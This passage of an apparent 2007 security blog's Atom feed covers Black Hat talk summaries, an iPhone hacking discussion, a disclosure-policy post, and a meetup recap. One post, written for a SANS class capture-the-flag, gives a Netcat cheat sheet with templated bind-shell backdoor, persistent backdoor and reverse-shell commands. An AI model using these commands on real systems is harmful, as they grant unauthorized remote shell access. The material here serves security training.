xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;CkcCRHk-cSp7ImA9WB5VGUk.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-3618920479256960802</id><published>2007-08-12T12:32:00.000-05:00</published><updated>2007-08-12T12:34:25.759-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-12T12:34:25.759-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="meta-blogging" /><category scheme="http://www.blogger.com/atom/ns#" term="legal" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="job" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>Since Defcon...</title><content type="html">Sorry for the complete lack of updates from me since Defcon. I've had plenty to write up, share, and rant about (as is my want), but I'm in somewhat of a tenuious circumstance regarding my blogging, so I figure better safe than sorry, and thus I'm keeping my comments to a minimum. Hopefully some of the other Minds will pick up the slack. We shall see.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-3618920479256960802?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/3618920479256960802/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=3618920479256960802" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3618920479256960802?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3618920479256960802?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/08/since-defcon.html" title="Since Defcon..." /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;DEcASHc6eip7ImA9WB5WGUQ.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-8204060266968914124</id><published>2007-08-01T13:19:00.000-05:00</published><updated>2007-08-01T14:20:49.912-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-01T14:20:49.912-05:00</app:edited><title>BLACK HAT field report #2: Don't tell Joanna the virtualization rootkit's dead</title><content type="html">Thomas Ptacek &amp; Nate Lawson talk about Hypervisor rootkits work and why they are detectable, maybe even more so then Kernel rootkits.&lt;br /&gt;Thomas and Nate created a hypervisor rootkit called 'Vitriol' for OSx (Very similar to '&lt;a href="http://en.wikipedia.org/wiki/Blue_Pill_%28malware%29"&gt;BluePill&lt;/a&gt;' for Vista) to test their virtualization rootkit detection methods.  This all stems from a debate between them and Joanna Rutkowska that's been going on for a year.  Ultimately she didn't give them permission to try to detect 'BluePill' on stage, so here we find ourselves.&lt;br /&gt;'Vitriol' is similar but not identical to 'BluePill', it's less weaponized and more of a proof of concept.  'BluePill' was made for the AMD architecture.  'Vitriol' doesn't hook the network, and has a less stealthy loader.&lt;br /&gt;After a 'Vitriol' vs. 'BluePill' comparison there was a discussion on the detection of virtualization in general, behavior or state changes introduced by hypervisors, also timing variations introduced by a hypervisor.  Virtualized malware can be detected by examining the cross section of the hyhpervisor vs. the OS and how much the hypervisor needs to exactly emulate the OS to remain undetected.&lt;br /&gt;&lt;br /&gt;Detection:&lt;br /&gt;Strategy One - Side channel Attacks&lt;br /&gt;VM overhead creates detectable 'trails' through microarchitecture that are hard to conceal.&lt;br /&gt;&lt;br /&gt;Strategy Two - Vantage point Attacks&lt;br /&gt;VM cross-section forces it to recognize and emulate the OS/hardware.&lt;br /&gt;problem: Talk directly to the hardware(which will betray you), or emulate the hardware, &lt;span style="font-style: italic;"&gt;with perfect fidelity.&lt;br /&gt;&lt;/span&gt;Performance Event Counters: instructions retries, cache misses, branches, etc.&lt;br /&gt;HPET counters, ACPI timers, and MSR's would all need to agree for attackers to win.&lt;br /&gt;&lt;br /&gt;Strategy Three - Vulnerability attack&lt;br /&gt;Finding Hypervisor Bugs&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusions: how to make it harder for attackers&lt;br /&gt;Introduce data-dependence (many heuristics)&lt;br /&gt;Force to emulate microarchitecture (branch buffers, etc)&lt;br /&gt;Force them to Emulate Obscure Features (HPET, PerfCounters, AGP GART)&lt;br /&gt;Tie them to a single architecture (intel VT, Op Roms, etc.)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.matasano.com/log"&gt;www.matasano.com/log&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-8204060266968914124?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/8204060266968914124/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=8204060266968914124" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8204060266968914124?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8204060266968914124?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/08/black-hat-field-report-2-dont-tell.html" title="BLACK HAT field report #2: Don't tell Joanna the virtualization rootkit's dead" /><author><name>Sean V. Coyne</name><uri>http://www.blogger.com/profile/02193585641011296957</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="10452412905074994692" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;DEUASXwyeyp7ImA9WB5WGUQ.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-2430607122362543747</id><published>2007-08-01T12:21:00.000-05:00</published><updated>2007-08-01T14:24:08.293-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-01T14:24:08.293-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><title>Black Hat Field Report #1: Design Review of the Web - Kaminsky</title><content type="html">Dan Kaminsky takes a closer look at some interesting aspects of 'Wed 2.0'.&lt;br /&gt;Using 'Slirpi' (back from the dead) VPN'ing into Protected Networks With Nothing But A Lured Web Browser.&lt;br /&gt;The fundamental design of the web is &lt;span style="font-style: italic;"&gt;late binding&lt;/span&gt;, pieces are pulled together and assembled at runtime, independent from one another.  So as soon as independence was established, people wanted to be able to create dependencies ("you read my page, I read your mail")&lt;br /&gt;DNS Pinning still works?&lt;br /&gt;Dan demonstrated an extension of RSnake that grants full IP connectivity, by design, to any attacker who can lure a web browser to render his page.This used to be taken care of by Same Origin Policy, which attempts to restrict scripting and other forms of enhanced access to sites with the same name.  But scripts are not acquired from names, they come from addresses.&lt;br /&gt;Dan also demonstrates how Slirpie can cut through some implementations of Single Sign-on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-2430607122362543747?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/2430607122362543747/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=2430607122362543747" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2430607122362543747?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2430607122362543747?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/08/black-hat-field-report-1-design-review.html" title="Black Hat Field Report #1: Design Review of the Web - Kaminsky" /><author><name>Sean V. Coyne</name><uri>http://www.blogger.com/profile/02193585641011296957</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="10452412905074994692" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;CkUBR3szeyp7ImA9WB5WGUk.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-8957954470643004606</id><published>2007-07-31T23:32:00.000-05:00</published><updated>2007-07-31T22:50:56.583-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-07-31T22:50:56.583-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="education" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="howto" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>All the networking you could need: Netcat</title><content type="html">So my &lt;a href="http://sans.org/"&gt;SANS&lt;/a&gt; course this past week culminated today with a nice game of capture the flag. While not &lt;a href="http://www.defcon.org/"&gt;Defcon&lt;/a&gt; caliber it ended up being quite a lot of fun, especially for a game that only could last six hours, and did a fantastic job of bringing the course together. We learned a lot of tools during the class and playing scenario based ctf brought it all together as many of them were used during the game. Mostly we focused the old favorites: &lt;a href="http://insecure.org/nmap/"&gt;NMap&lt;/a&gt;, &lt;a href="http://www.nessus.org/"&gt;Nessus&lt;/a&gt;, &lt;a href="http://www.openwall.com/john/"&gt;John the Ripper&lt;/a&gt;; the kinda tools that have been around forever, and for good reason. &lt;br /&gt;&lt;br /&gt;We focused mainly on another tool, one I'd known but used little. Called the "network swiss-army knife" &lt;a href="http://www.vulnwatch.org/netcat/"&gt;Netcat&lt;/a&gt; proved, as we were promised by &lt;a href="http://counterhack.net "&gt;Ed&lt;/a&gt;, the most useful tool of the whole course. Netcat does just about everything. Yes, I know, if you've been in networking or security for any amount of time you're asking how I'd missed that, I hadn't, but practical use is something else. There's no doubt it's one of the most useful tools a network admin, security engineer, or hacker could ever want. So just for general consumption, and for myself, I'm posting the cheat sheet I used during our class CTF competition (my team came in 3rd of around 50 in case you were wondering) just to get any other Netcat neophytes started and possible remind some old hands of some fun tricks:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Data Transfer (Pull):&lt;/b&gt;&lt;br /&gt;&lt;i&gt;server:&lt;/i&gt; nc -l -p [port] &lt; [filename]&lt;br /&gt;&lt;i&gt;client:&lt;/i&gt; nc [server ip] [server port] &gt; [filename]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Data Transfer (Push):&lt;/b&gt;&lt;br /&gt;&lt;i&gt;server:&lt;/i&gt; nc -l -p [port] &gt; [filename]&lt;br /&gt;&lt;i&gt;client:&lt;/i&gt; nc [server ip] [server port] &lt; [filename]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Backdoors:&lt;/b&gt;&lt;br /&gt;&lt;i&gt;unix:&lt;/i&gt; nc -l -p [port] -e /bin/sh&lt;br /&gt;&lt;i&gt;windows:&lt;/i&gt; nc -l -p [port] -e cmd.exe&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Persistant Backdoor: &lt;/b&gt;&lt;br /&gt;while [ 1 ]; nc -l -p [port] -e /bin/sh; done&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Reverse Shell&lt;/b&gt; &lt;br /&gt;&lt;i&gt;server (attacker):&lt;/i&gt; nc -l -p [port]&lt;br /&gt;&lt;i&gt;client (victim):&lt;/i&gt; nc [server ip] [server port] -e [shell] &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Backdoor Client:&lt;/b&gt; &lt;br /&gt;nc [server ip] [port]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Traffic Relay on Linux:&lt;/b&gt;&lt;br /&gt;mknod backpipe p&lt;br /&gt;nc -l -p [incoming port] 0&lt;backpipe | nc [forward IP] [port] 1&gt;backpipe&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Traffic Replay:&lt;/b&gt;&lt;br /&gt;nc [targetip] [port] &lt; [filename]&lt;br /&gt;&lt;br /&gt;A special thanks to David "The Canadian Invasion" and Josh (it's a d, not an 8); great team fellas, it was a pleasure.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-8957954470643004606?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/8957954470643004606/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=8957954470643004606" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8957954470643004606?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8957954470643004606?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/07/all-networking-you-could-need-netcat.html" title="All the networking you could need: Netcat" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></entry><entry gd:etag="W/&quot;CEQASXc7cSp7ImA9WB5WF0k.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-8424409773265673308</id><published>2007-07-29T14:31:00.000-05:00</published><updated>2007-07-29T15:52:28.909-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-07-29T15:52:28.909-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="meta-blogging" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="education" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>At least we're learning</title><content type="html">I've spent the past few days taking the &lt;a href="http://www.sans.org/training/description.php?tid=243"&gt;SANS 504 course: Hacking Techniques, Exploits, and Incident Handling&lt;/a&gt;.  I was lucky enough to have the course creator, &lt;a href="http://www.counterhack.net/"&gt;Ed Skoudis&lt;/a&gt;, as my course instructor. I don't know if I know anyone who seems to have Ed's combination of breadth and depth in the information security field. I guess that's how you become one of the senior handlers at the SANS Internet Storm Center.&lt;br /&gt;&lt;br /&gt;I plan on doing a write up of my class and what the Vulnerable Minds have been up to for the past few weeks. A short update:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I've been in training, busy at work, and abusing &lt;a href="http://pipes.yahoo.com/pipes/"&gt;Yahoo Pipes&lt;/a&gt;, something I'll write more about later.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Bacchus has stopped reading anything but &lt;a href="http://www.snort.org/"&gt;Snort&lt;/a&gt; alerts, which made Bacon a bit anxious so I think he's trying to make up some new encrypted communication channel. I may help with that a bit.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;ev3 has been reversing everything she gets her hands on including, I'm pretty sure, her reversing tools.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;No one's really sure what Narc, GPmidi, Norris, or LogicX  have been doing, but thats prolly a good thing.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Saijak seems to have forgotten how to use a computer, though with good reason. &lt;/li&gt;&lt;/ul&gt;Regardless we're all all getting stoaked for &lt;a href="http://www.defcon.org/"&gt;Defcon&lt;/a&gt; and various Minds will be making it out there Thursday and Friday. We'll be in the &lt;a href="http://www.rivierahotel.com/"&gt;Riveria&lt;/a&gt; and around various places. More about our plans to come.&lt;br /&gt;&lt;br /&gt;By the way check out Ed's &lt;a href="http://www.counterhack.net/Counter%20Hack/Challenges.html"&gt;incident handler challenges&lt;/a&gt;, fun stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-8424409773265673308?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/8424409773265673308/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=8424409773265673308" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8424409773265673308?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8424409773265673308?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/07/at-least-were-learning.html" title="At least we're learning" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;A0cAQHs9fyp7ImA9WB5XEUw.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-4492450723321412795</id><published>2007-07-10T20:05:00.000-05:00</published><updated>2007-07-10T20:57:21.567-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-07-10T20:57:21.567-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="webapps" /><category scheme="http://www.blogger.com/atom/ns#" term="reading" /><category scheme="http://www.blogger.com/atom/ns#" term="mobiles" /><category scheme="http://www.blogger.com/atom/ns#" term="apple" /><title>Another iPhone Security Perspective</title><content type="html">Alright, I promise, last iPhone post, at least from me.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The fine folks over at &lt;a href="http://www.symantec.com/enterprise/security_response/weblog/2007/07/iphone_redux.html"&gt;Symantec's Security Response group are apparently taking a look at the iPhone&lt;/a&gt; from a "Wouldn't it be fun to land malicious code on this" perspective and seem to have more confidence than I did initially (See: &lt;a href="http://blog.vulnerableminds.com/2007/06/iphone-sounds-alot-like-ipwn.html"&gt;iPhone sounds atlot like iPwn&lt;/a&gt;), and with good reason. It would seem that Apple hasn't been as caviler with their AJAX/iPhone integration as early reports suggested. For now that seems like good reason, but as the iPhone gets opened up further and further, either by Apple or by intrepid hackers, that may change.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So give the Symantec article a read, and enjoy your iPhone. We'll be coming for it soon...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-4492450723321412795?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/4492450723321412795/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=4492450723321412795" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4492450723321412795?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4492450723321412795?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/07/another-iphone-security-perspective.html" title="Another iPhone Security Perspective" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;CEMARns-fyp7ImA9WB5QF04.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-7263169620094809378</id><published>2007-07-06T08:32:00.000-05:00</published><updated>2007-07-06T09:34:07.557-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-07-06T09:34:07.557-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="os" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="hardware hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="lifehacks" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="mobiles" /><category scheme="http://www.blogger.com/atom/ns#" term="apple" /><title>iPh0n3: And so it begins...</title><content type="html">From &lt;a href="http://www.tuaw.com/2007/07/06/iphoneinterface-starts-to-crack-open-iphone/"&gt;TUAW&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;"iPhone enthusiasts over at the #iphone-talk and #iphone-mac channels on irc.osx86.hu have developed iPhoneInterface, a new Windows and Mac tool that allows you to manipulate the iPhone's state, launch services, and interact with the iPhone filesystem. With it, you'll be able to scan the iPhone file structure, create and remove folders, start iPhone services, and more."&lt;/blockquote&gt;&lt;br /&gt;I don't think anyone is really surprised that this happened I know many people who believe that Apple actually encourages this type of behavior, evidenced by the easy of cracking into the &lt;a href="http://www.appletvhacks.net/"&gt;AppleTV&lt;/a&gt; and the numerous enhancements that followed. I don't know if I quite fall into that camp, but I do think it's inevitable that any closed system that gains interest from so many technically inclined people will not stay closed for long. I don't know if that's really a statement about security, or just common sense.&lt;br /&gt;&lt;br /&gt;Protection/hackiblity philosophy aside I'm excited to see where this goes as I get ready to throw down my own $600 to Apple/AT&amp;amp;T. Take the already impressive iPhone, throw in a healthy helping of the great features you get in regular &lt;a href="http://www.apple.com/macosx/leopard/"&gt;OS X&lt;/a&gt;, and add in some of the features found in other high end phones, and you really have a be all device. Truth be told I'd actually be reluctant to use such hacks on my main phone, but my real hope is that this kind of thing encourages Apple to open up the iPhone, add the features people have been asking for, and make it a lil hacking pad that I can also get email and make calls on.&lt;br /&gt;&lt;br /&gt;That being said I think SSH and the ability to browse the filesystem are a must, but how about a Python interpreter or something? Flash maybe? A Safari view source option? &lt;a href="http://macromates.com/"&gt;TextMate&lt;/a&gt; for iPhone? Are you listening Apple? I want to be able to play next year's CTF qualifier on the Metro.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-7263169620094809378?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/7263169620094809378/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=7263169620094809378" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7263169620094809378?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7263169620094809378?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/07/iph0n3-and-so-it-begins.html" title="iPh0n3: And so it begins..." /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></entry><entry gd:etag="W/&quot;D0UCRX47cCp7ImA9WB5QFk0.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-2191759676718517009</id><published>2007-07-04T21:11:00.000-05:00</published><updated>2007-07-04T22:14:24.008-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-07-04T22:14:24.008-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="legal" /><category scheme="http://www.blogger.com/atom/ns#" term="poc/code" /><title>Closure to Disclosure</title><content type="html">There's been a fair bit of discussion lately about disclosure policies of various groups and people in information security. This isn't new, or really a surprise, disclosure is something that comes up every few months, every conference, and other random times based on the alignment of Jupiter and Tim's hairstyle. I plan on throwing my opinion on various topics out there, but first I felt it would be most appropriate to make &lt;a href="http://docs.google.com/View?docid=dd9wn9f5_8cm3bwn"&gt;Vulnerable Minds disclosure policy&lt;/a&gt; a matter of record. I admit we borrowed heavily from the fine folks at &lt;a href="http://www.matasano.com/log/mtso/ethics"&gt;Matasano Chargren&lt;/a&gt;, but after our own discussion, modification, and consideration we feel that this document represents the best way of handling vulnerabilities; for us, for vendors, and for the computing community as a whole. &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-2191759676718517009?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/2191759676718517009/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=2191759676718517009" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2191759676718517009?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2191759676718517009?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/07/closure-to-disclosure.html" title="Closure to Disclosure" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;D0IMR3k9cSp7ImA9WB5QEUg.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-782739496062306266</id><published>2007-06-29T16:31:00.000-05:00</published><updated>2007-06-29T17:19:46.769-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-29T17:19:46.769-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="capsec" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>CapSec Recap</title><content type="html">As I posted at quite short notice yesterday was the initial meeting of &lt;a href="http://citysec.org/forums/1/topics/17?page=1#posts-219"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;CapSec&lt;/span&gt;&lt;/a&gt;, the &lt;a href="http://citysec.org/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;CitySec&lt;/span&gt;&lt;/a&gt; group of DC being started by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Matasano&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Chargen&lt;/span&gt; member Dan &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Moniz&lt;/span&gt;. I'd corresponded back and forth with Dan a few of times on the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;CitySec&lt;/span&gt; message board, so it was a pleasure to speak with him in person, as well as the other folks who showed up.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The meeting itself was small but definitely worth while and quite fun. I showed up at the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Brickskeller&lt;/span&gt; around 7:20 and walked in to find a table set up with a small &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;CapSec&lt;/span&gt; sign. I was the third person to make it, with the grand total rounding out to five. Low attendance? Perhaps, but we all had a great time anyway. It was an excellent opportunity to actually have a nice conversation, talk with everyone, get &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;everyone's&lt;/span&gt; perspective, and I genuinely enjoyed everyone who showed up. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;What did we talk about you may ask? I have no idea, and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_9"&gt;that's&lt;/span&gt; what made it great. Everything from old jobs we've had, current trends, the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;iPhone&lt;/span&gt;, and what our favorite beers are. What was amazing was the connections that people put together throughout the night. I've always felt that the security community is small and tightly knit, and last night proved it. There were many "O I know those guys, we've hung out at &lt;name&gt;" moments. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All in all it was a great experience. We work in an exciting and dynamic industry that's full of exciting and dynamic people. It's always fun to just get to hang out, be social, talk &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;infosec&lt;/span&gt;, and enjoy a couple nice drinks. So my many thanks to Dan for starting this group up, I know I'll be a regular attendee.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-782739496062306266?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/782739496062306266/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=782739496062306266" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/782739496062306266?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/782739496062306266?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/capsec-recap.html" title="CapSec Recap" /><author><name>Scott J. 